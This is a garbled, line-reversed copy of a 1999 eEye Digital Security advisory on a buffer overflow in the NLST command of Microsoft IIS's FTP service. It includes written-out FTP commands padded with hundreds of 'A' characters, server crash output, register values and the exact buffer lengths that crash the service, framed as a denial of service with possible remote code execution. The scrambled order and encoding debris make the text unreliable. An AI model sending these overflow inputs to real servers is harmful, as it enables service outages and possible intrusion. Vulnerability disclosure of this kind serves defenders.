I've used the ftp command supplied with Windows98, who's not allowing me voila :įtp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAĪAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAĥ50 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAĪAAAAAAAAAAAAAA: The data area passed to a system call is too small. If instead of the "quote nlst AAA." command with "ls AA.". :)Ģ20 ftp Microsoft FTP Service (Version 3.0).įtp: 204 bytes received in 0.05Seconds 4.08Kbytes/sec.įtp> quote nlst AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAĪAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Please send suggestions, updates, and comments to: Digital Security Mon, 03:06:42 +0200 In no event shall theĪuthor be liable for any damages whatsoever arising out of or inĬonnection with the use or spread of this information. ThereĪre NO warranties with regard to this information. Information constitutes acceptance for use in an AS IS condition. The information within this paper may change without notice. If you wish to reprint the whole or any part of thisĪlert in any other medium excluding electronic medium, please for permission. It is not to be edited in any way without expressĬonsent of eEye. Permission is hereby granted for the redistribution of this alertĮlectronically. The eEye Digital Security Team would like to extend a special thanks toĬopyright (c) 1999 eEye Digital Security Team SMTP etc.) What we have seems to be a very interesting buffer overflow. Overflowed IIS all IIS services will fail. However, Anonymous access is granted on most servers. Keep in mind we have to be able to login. So to wrap it all up what we have here is a DoS attack against any IIS There sure are a lot of 41 hex codes in our registers now. Referenced memory at "0x41414141'." This is looking mighty interesting. Inetinfo.exe except this time "The instruction at '0x722c9262' On the server we have the same "Application Error" message for Take a look once again at the server side. Largest possible (tested) buffer to pass that will overflow IIS. In this case we passed 505 characters to overflow IIS. [The server must either have anonymous access rights or an attacker must Lets move on and take a look at the largest string we can pass to We chalk this up as a DoS attack for now. There is no 41 hex (Our overflow character) in any of our registers so If we take a look at our registers we will see the following: "The instruction at '0x710f8aa2' referenced memory at On the server side we have an "Application Error" message for Possible buffer to pass that will overflow IIS. The above example uses 316 characters to overflow. The server must either have anonymous access rights or an attacker mustĢ20 GUILT Microsoft FTP Service (Version 4.0).ģ31 Anonymous access allowed, send identity (e-mail name) as password.įtp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAĪAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAĪAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAġ50 Opening ASCII mode data connection for file list. Lets look at the following example attack. Machine and in some cases execute code remotely. Microsoft IIS (Internet Information Server) FTP service contains aīuffer overflow in the NLST command. Which helps construct query strings to pass to internet servers,Ĭhecking for overflow bugs and miss parsing of command strings. While feeding in logic into Retina's artificial intelligence engine, To: Advisory: IIS FTP Exploit/DoS AttackĮEye Digital Security Team January 24, 1999 Prévia do material em texto Date: Sun, 07:56:09 -0800
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